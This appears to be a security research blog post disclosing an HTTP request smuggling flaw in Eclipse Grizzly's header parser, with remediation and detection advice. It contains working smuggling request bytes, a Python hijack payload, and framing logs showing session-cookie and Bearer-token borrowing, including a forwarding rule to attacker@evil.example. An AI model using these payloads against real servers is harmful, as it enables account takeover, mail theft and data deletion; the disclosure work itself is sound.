Insight

One Colon to Rule Them All: HTTP Request Smuggling in Eclipse Grizzly

Eclipse Grizzly’s HTTP parser reads a header name up to the first colon and nothing else. That one shortcut lets an attacker hide a Content-Length inside a header name, re-frame the request, and borrow another user’s session cookie on a shared connection.

One Colon to Rule Them All: HTTP Request Smuggling in Eclipse Grizzly

Most request smuggling bugs are about disagreement. A front-end proxy reads a request one way, the backend reads it another, and the gap between those two readings is where you live. The interesting ones usually hinge on some baroque interaction between Content-Length and Transfer-Encoding, the kind of thing that takes three diagrams to explain.

This one is simpler than that, and the simplicity is what makes it worth writing up. Eclipse Grizzly’s HTTP parser decides where a header name ends by scanning for the first colon. That’s the whole bug. It doesn’t check for a carriage return. It doesn’t check for a newline. It doesn’t check for a space. It walks the bytes until it hits :, calls everything before that the name, and moves on. Feed it a header name with a \r\n in the middle and it will happily glue two physical lines into one logical header, and the Content-Length you tucked into the second line never gets treated as framing.

Grizzly is the HTTP engine underneath GlassFish, a lot of Jersey deployments, and a surprising number of data-infrastructure products that embedded it years ago and never looked back. The parser code lives in grizzly-http, and everything reachable from GrizzlyHttpServerFactory.createHttpServer(...) inherits it. So the blast radius is wider than “people who think they run Grizzly.”

Where this started

Foxhound surfaced a mail host advertising Server: grizzly/2.4.4 in its response headers, on an Open-Xchange WebDAV endpoint that returns a 401 before anything else happens. Grizzly 2.4.4 is from 2018. A pre-auth HTTP parser that old is worth twenty minutes of reading, so I pulled the tag from eclipse-ee4j/glassfish-grizzly, diffed it against the local tree to confirm it was byte-for-byte upstream, and opened HttpCodecFilter.java.

Twenty minutes turned into two weeks. Everything below was reproduced locally, against released jars from Maven Central and official container images. No third-party host was tested.

The parser, in its own words

Here’s the function that starts the trouble, from modules/http/src/main/java/org/glassfish/grizzly/http/HttpCodecFilter.java:

protected boolean parseHeaderName(final HttpHeader httpHeader,
        final MimeHeaders mimeHeaders, final HeaderParsingState parsingState,
        final byte[] input, final int end) {
    final int arrayOffs = parsingState.arrayOffset;
    final int limit = Math.min(end, arrayOffs + parsingState.packetLimit);
    final int start = arrayOffs + parsingState.start;
    int offset = arrayOffs + parsingState.offset;

    while (offset < limit) {
        byte b = input[offset];
        if (b == Constants.COLON) {
            parsingState.headerValueStorage =
                    mimeHeaders.addValue(input, start, offset - start);
            parsingState.offset = offset + 1 - arrayOffs;
            finalizeKnownHeaderNames(httpHeader, parsingState, input, start, offset);
            return true;
        } else if ((b >= Constants.A) && (b <= Constants.Z)) {
            if (!preserveHeaderCase) {
                b -= Constants.LC_OFFSET;     // lowercase A-Z, nothing else
            }
            input[offset] = b;
        }
        offset++;
    }
    parsingState.offset = offset - arrayOffs;
    return false;
}

Read the loop. The only byte that means anything is COLON. Everything else either gets lowercased (if it’s an uppercase letter) or passes through untouched. A \r, a \n, a space, a tab, a null byte: all valid header-name material as far as this code is concerned. RFC 9110 says a field name is a token, and a token is a tight set of characters that does not include control bytes. This parser enforces none of that.

The value parser is the same story from the other side:

while (offset < limit) {
    final byte b = input[offset];
    if (b == Constants.CR) {
        // ...nothing. CR falls through and is dropped.
    } else if (b == Constants.LF) {
        // LF alone terminates the value (bare-LF accepted),
        // and a following SP/HT triggers obsolete line folding.
        ...
    }
    ...
}

That if (b == Constants.CR) branch is empty in the real source. A bare \n ends a header value, with no demand for \r\n. And if the byte after that \n is a space or tab, Grizzly treats it as obsolete line folding and stitches the next line onto the value, a feature that’s been deprecated for about a decade.

The third piece is how Grizzly decides a header is special. finalizeKnownHeaderNames only flips the “this is a framing header” bit on an exact length-and-bytes match:

final int size = end - start;
if (size == Header.ContentLength.getLowerCaseBytes().length) {
    if (ByteChunk.equalsIgnoreCaseLowerCase(input, start, end,
            Header.ContentLength.getLowerCaseBytes())) {
        parsingState.isContentLengthHeader = true;
    }
} else if (size == Header.TransferEncoding.getLowerCaseBytes().length) {
    ...
}

Exact match on the whole parsed name. So if the parsed name is foo\r\ncontent-length instead of content-length, the length check fails, the bytes check is never reached, and isContentLengthHeader stays false. The Content-Length you sent is now decoration. Grizzly has no body length for this request.

Three lax behaviours, one consequence: you control what Grizzly thinks the header name is, and you can hide a framing header inside it.

Turning it into a smuggle

The primitive is a header line like this:

POST /first HTTP/1.1
Host: x
Foo
Content-Length: 38
Connection: keep-alive

GET /SMUGGLED HTTP/1.1
Host: x

The Foo line has no colon, so parseHeaderName keeps scanning past the \r\n and into the next line. It finally hits the colon in Content-Length:. The header it builds has the name foo\r\ncontent-length and the value 38. The real Content-Length: 38 got eaten. Grizzly now believes this POST has no body (contentLength=-1), so the moment the headers end it starts parsing the next bytes as a brand new request. That’s the GET /SMUGGLED.

I ran exactly this against a local Grizzly 2.4.4 server built from the released jars. The harness logs every request Grizzly frames. Two requests came out of one client write:

=== pipelined CL.0 style desync shape ===
id=5
method=POST
uri=/first
contentLength=-1
headers=[host=local, ignore
content-length=4, connection=keep-alive]

id=6
method=GET
uri=/second
contentLength=-1
headers=[host=local, connection=close]

Look at id=5: the header list literally contains an entry whose name is ignore\ncontent-length, and contentLength=-1 confirms Grizzly never framed a body. Then id=6 is the smuggled request Grizzly invented out of the trailing bytes. That’s the desync, demonstrated, not theorized.

For completeness I confirmed the other two laxnesses the same way. Bare-LF header lines parse fine. A folded value like X-Fold: one\r\n two comes out as x-fold=one two. None of that should happen on an RFC-compliant parser.

The version matrix

I tested released jars, not just the source, because what’s on Maven Central is what people actually run. Every version I could get my hands on absorbed the Content-Length and produced the pipelined desync:

Version Vulnerable by default
2.1.11, 2.3.17, 2.3.21, 2.3.25, 2.4.4, 3.0.1, 4.0.2, 5.0.0, 5.0.1 yes
5.0.1 with both strict flags set no (config mitigation)
5.0.2 no (fixed)

5.0.0 is worth a footnote. Its Maven POM references a BOM that isn’t published, so a naive mvn resolve fails and you might assume it’s untestable. The jars are on Central though, so I pulled them directly and reproduced the bug. It’s vulnerable.

The fix landed in 5.0.2, commit 0a9007361753dc1bfe54ee6517e7493c402ac4ee (“Strict header name and value validation by default”), merged in May 2026. It turns on RFC 9110 name and value validation out of the box. If you’re stuck on 5.0.1, you get the same protection by setting both of these to true:

-Dorg.glassfish.grizzly.http.STRICT_HEADER_NAME_VALIDATION_RFC_9110=true
-Dorg.glassfish.grizzly.http.STRICT_HEADER_VALUE_VALIDATION_RFC_9110=true

They default to off in 5.0.1, which is why 5.0.1 is still on the vulnerable list.

One note on tracking. I reported the header-name variant to security@eclipse.org on 7 June 2026 and no CVE has been assigned to it yet. The Grizzly identifier that does exist, CVE-2026-12606, came from a separate report about malformed trailer-section parsing, published on 14 July 2026. Both are CWE-444, both are closed by 5.0.2, and the workaround listed against that CVE is the same pair of strict-validation flags above. Its published range covers 4.0.0 through 4.0.2 and 5.0.0 through 5.0.1, so if you run 2.x or 3.x and your scanner reports you unaffected, check the version matrix above instead: the header-name variant reproduces as far back as 2.1.11.

The precondition, measured instead of assumed

My first pass at this concluded that the attack applies wherever a front-end pools backend connections across clients. I then built the test rig and measured it, and that conclusion was wrong. The corrected version is below, because the precondition is what decides whether any of this matters to a given deployment.

First, the classic chain does not work. I sent the malformed gadgets through five mainstream front-ends sitting in front of a Grizzly backend: nginx, HAProxy 2.8, Apache httpd 2.4.49 with mod_proxy_http, Caddy, and Envoy 1.28. Every one either rejected the malformed framing with a 400 or normalized it on the way through, re-serializing the headers so Grizzly ended up agreeing with the proxy about where the request ended. None forwarded the corrupt framing bytes verbatim. If your mental model of smuggling is “poison the shared proxy queue,” that specific attack did not land.

Second, a connection pool on its own is not sufficient either. I put HAProxy 2.8 in front of the backend, with attacker and victim on separate frontend connections, and ran it in both modes:

Front hop Malformed framing reaches Grizzly? Backend connection shared across clients? Attack works
L7 HAProxy, mode http, http-reuse always no, LB answers 400 yes, it pools no
L4 HAProxy, mode tcp yes, bytes piped verbatim no, one frontend conn maps to one backend conn no
Direct, two separate client connections yes no no
Direct, one shared connection yes yes yes

The attack needs two properties at once: the malformed bytes have to survive the trip, and attacker and victim have to land on the same Grizzly socket. An L7 proxy provides the second and removes the first. An L4 balancer provides the first and removes the second. So there is no chain through nginx, HAProxy, Apache, Caddy, or Envoy at current versions, and no attack behind a standard L7 or L4 balancer with attacker and victim on separate frontend connections. That is a measured negative, not an assumption.

That leaves a specific set of exposed topologies. Grizzly reachable directly, which is the Pravega and Pinot case below. An attacker already inside the network segment. SSRF pointed at the listener. A connection-pooling hop that reuses upstream sockets across users without re-parsing HTTP, which some API gateways and mesh sidecars can be configured into. And any genuine CL.TE or TE.CL disagreement between a front hop and Grizzly, which is the classic prerequisite and which I did not find in any current mainstream proxy.

The connection hijack

On a shared connection the framing differential is enough on its own. Here’s the realised attack:

# Attacker request: header-name CRLF absorbs Content-Length, then an INCOMPLETE
# smuggled request that ends mid-header (no terminating CRLFCRLF).
ATTACK = (
    b"POST /attacker HTTP/1.1\r\nHost: x\r\n"
    b"Foo\r\nContent-Length: 100\r\n"          # absorbed -> Grizzly sees no body
    b"Connection: keep-alive\r\n\r\n"
    b"GET /attacker-chosen-path HTTP/1.1\r\n"   # smuggled request, left open...
    b"X-Swallow: "                              # ...to eat whatever comes next
)
VICTIM = b"GET /victim-wanted-this HTTP/1.1\r\nHost: x\r\n\r\n"

The attacker’s Content-Length gets absorbed, so Grizzly sees no body and starts reading the tail as a new request. That tail is deliberately incomplete: it ends mid-header on an open X-Swallow: line with no terminating blank line. Grizzly blocks, waiting for the rest. Then the victim’s request arrives on the same connection and gets appended to the attacker’s partial one:

id=57 method=POST uri=/attacker            headers=[host=x, foo\ncontent-length=100, connection=keep-alive]
id=58 method=GET  uri=/attacker-chosen-path headers=[x-swallow=GET /victim-wanted-this HTTP/1.1, host=x]

The victim’s request line became the value of X-Swallow. Grizzly served /attacker-chosen-path instead. The victim asked for one thing and got handed whatever the attacker picked.

That’s the generic primitive. The impact escalates sharply when the victim’s request carries credentials, which is what the next two sections cover.

Open-Xchange: cross-account mailbox access

OX App Suite bundles grizzly-http-all-2.4.4.jar inside com.openexchange.http.grizzly. Its CustomHttpCodecFilter only customises oversized-header error handling, so the lax parser is live in the OX listener, and the documented default is httpHost 0.0.0.0 on port 8009.

OX authenticates /ajax/* requests with two cookies: open-xchange-session-<hash> resolves the session, and SessionUtility.checkSecret compares open-xchange-secret-<hash> against the stored secret or returns a 403. Both arrive on the victim’s Cookie: line, and that line is just bytes on a connection.

I built a harness that runs OX’s bundled jar with a faithful copy of that auth logic (LoginServlet cookie minting, the two-path session resolution, checkSecret), gave it two accounts, and pointed the primitive at it. The attacker poisons the connection with a dangling smuggled request. The victim’s authenticated request lands on the same socket and completes it. Grizzly’s own framing log:

REQUEST 4 POST /ajax/ping ... headers=[host=ox, foo
content-length=400, connection=keep-alive]              <-- CL absorbed, framed body-less
  -> 403
REQUEST 5 GET /ajax/mailfilter action=new
          open-xchange-session-poc=sess-1002
          open-xchange-secret-poc=secret-1003            <-- VICTIM's cookies
          x-pad=GET /ajax/mail?action=all&columns=600 HTTP/1.1
  -> *** MAILFILTER RULE ADDED as session sess-1002 : redirect->attacker@evil.example ***

The attacker’s chosen action ran, authenticated by the victim’s cookies, and installed a mail-forwarding rule on the victim’s mailbox. Every future mail gets copied to the attacker, including password-reset mail for every other service that account is registered with. The attacker never learns the victim’s password, session token, or secret.

The read variant uses the same primitive against mail?action=all: the attacker account reads the victim account’s private inbox, recovery code included, on a server where normal authentication keeps those two mailboxes fully separated. Both PoCs are deterministic and exit 0.

Two caveats. This is a harness running OX’s real codec and real auth checks rather than the full OSGi middleware with a database behind it, on the basis that framing and authentication are the behaviours under test. And it does not chain through the Apache mod_proxy_http front-end that OX documents, because Apache normalizes the gadget. This is the direct-exposure and shared-socket case.

LINSTOR: borrowing an admin’s Bearer token

LINBIT’s LINSTOR is a storage orchestrator that drives DRBD replication and volume encryption. Its controller REST API runs on Grizzly, and build.gradle pins grizzly-http-server:4.0.2, which is on the vulnerable line.

Same primitive, different credential. With token auth enabled, a direct DELETE /v1/nodes/storage-2 returns 401. The attacker instead leaves a dangling smuggled DELETE on the connection and waits for an admin request to complete it:

REQUEST 10 DELETE /v1/nodes/storage-2 Authorization=Bearer lstok-1000-admin
           x-pad=GET /v1/nodes HTTP/1.1, authorization=Bearer lstok-1000-admin
  -> *** node DELETE storage-2 by admin ***

The admin’s Authorization header became a header of the attacker’s request. Grizzly ran the delete as the admin, and the attacker never saw the token. DELETE /v1/nodes/{name} is the mildest route on that surface: it also carries POST /v1/nodes/exec/drbd-reactorctl/{cmd} and the master-passphrase endpoints that guard encrypted volumes.

This one is opportunistic, and it’s worth being precise about that. The attacker does not choose which admin, and an admin has to send an authenticated request onto the poisoned connection for anything to happen. No admin traffic, no borrowed token. The harness runs LINSTOR’s pinned jar and a faithful copy of its AuthenticationFilter, not a full controller with satellites behind it, and I have not reproduced the token borrow through a supported LINSTOR proxy or balancer topology.

While reproducing this I found a LINSTOR-side authentication gap unrelated to Grizzly. AuthenticationFilter.isTokenAuthEnabled() returns false when no valid, unrevoked, unexpired token exists, and it evaluates that before checking whether token auth is configured on. So when token auth is enabled and the valid-token set drops to zero, the filter passes every request through. On a real LINSTOR 1.34.1 controller with a fresh H2 database and Auth/TokenAuthenticationEnabled set to true, an unauthenticated DELETE /v1/nodes/poc-auth-gap-node returned 200 and deleted the node. That is CWE-306, reported to LINBIT separately. The fix is to fail closed with a 401 when the token store empties rather than treating empty as disabled.

Pravega and Pinot, at runtime

Both bind Grizzly to all interfaces with no authentication in their standard launchers, and both ship a vulnerable version.

Pravega’s controller REST runs on Grizzly 2.4.4 via Jersey 2.35. Running the official pravega/pravega:0.13.0 standalone image, port 9091 was on 0.0.0.0 with no auth, and one attacker stream produced two responses:

HTTP/1.1 404 Not Found                                  <- POST /first
HTTP/1.1 200 OK  {"scopes":[{"scopeName":"_system"}]}   <- SMUGGLED GET /v1/scopes executed

Same surface carries DELETE /v1/scopes/{s} and DELETE /v1/scopes/{s}/streams/{n}, which is durable data loss for everyone consuming that cluster.

Apache Pinot’s service-manager admin API runs on Grizzly 2.4.4 via Jersey 2.48. apachepinot/pinot:1.0.0 QuickStart logged Started listener bound to [0.0.0.0:7500], served /health and /tables unauthenticated, and executed a smuggled GET /health off a single stream. The interesting routes there are DELETE /instances/{name}, which evicts query servers, and POST /instances/{role}, which registers an attacker instance that can then receive segment assignments.

The caveat that keeps this honest: standalone and QuickStart are dev and demo launchers. An unauthenticated 0.0.0.0 bind is expected in a local demo and I’m not asserting it as either project’s hardened production default. What the live runs prove is that the real admin stack sits on a vulnerable Grizzly and that the primitive executes against it. Whether the production default is open is a question for each vendor.

FS Crawler (Grizzly 4.0.2, REST opt-in on localhost) and NULS (Grizzly 2.4.4, public JSON-RPC on 8003 with no auth filter) resolve to vulnerable versions too, confirmed by source review plus a construction-path PoC through the same GrizzlyHttpServerFactory.createHttpServer(uri, ResourceConfig) call they use. I haven’t run either as a full cluster.

Scoring it

There are two things to score here, and conflating them is how smuggling CVSS goes wrong. A parser bug on its own does not warrant a 9.8, and neither does a chain whose precondition holds in a minority of deployments.

The parser primitive on its own is fully attacker-controlled and repeatable at will. You send the bytes, you get the mis-framing, every time, with no race and no environmental precondition. That is AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N, which computes to 6.4. My first draft used AC:H and scored 4.8; I now think that was wrong, because there is nothing complex about sending a malformed header.

The connection hijack scores differently, and this is where attack complexity genuinely rises. It needs a shared socket and an attacker who wins the timing race to land a victim request on it. With scope change plus high confidentiality and integrity impact, that reaches AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N, roughly 8.7, but only where the shared channel exists.

What to do about it

Upgrade to Grizzly 5.0.2 or later. That is the real fix and it has been published since May 2026.

If you are pinned to 5.0.1, set both strict-validation flags to true and treat that as a stopgap. If you are on 2.x or 4.x through a transitive Jersey dependency, which is the common case, the upgrade path runs through your Jersey version, so start there.

If you cannot move yet, detection buys time. The gadget has a distinctive shape: a header name containing control characters, and an HTTP request line appearing as a header value. I wrote ModSecurity and Coraza rules, Suricata signatures, and a Sigma rule for application and access logs, all keyed on those two properties plus the usual CL and TE anomalies, along with a reference detector that self-tests against the real attack bytes so the signatures are validated against traffic that actually exploits this rather than an approximation of it. These are compensating controls, not a fix.

Then check whether you run this at all. Grep your lockfiles for org.glassfish.grizzly. The products above did not think of themselves as Grizzly deployments either.

The general lesson outlives this particular bug. A parser that trusts the first colon it sees is a parser that lets the attacker draw the message boundaries. HTTP framing is security-critical, and the RFCs are tight about what belongs in a field name for exactly this reason. Scanning until the delimiter is not the same thing as validating. Grizzly carried that shortcut for seven years across four major version lines, and plenty of other parsers still do.


Research and write-up by the Fenko team. All testing was local, against released jars and official container images. The reproduction harness, version matrix, and PoC transcripts are held for coordinated disclosure.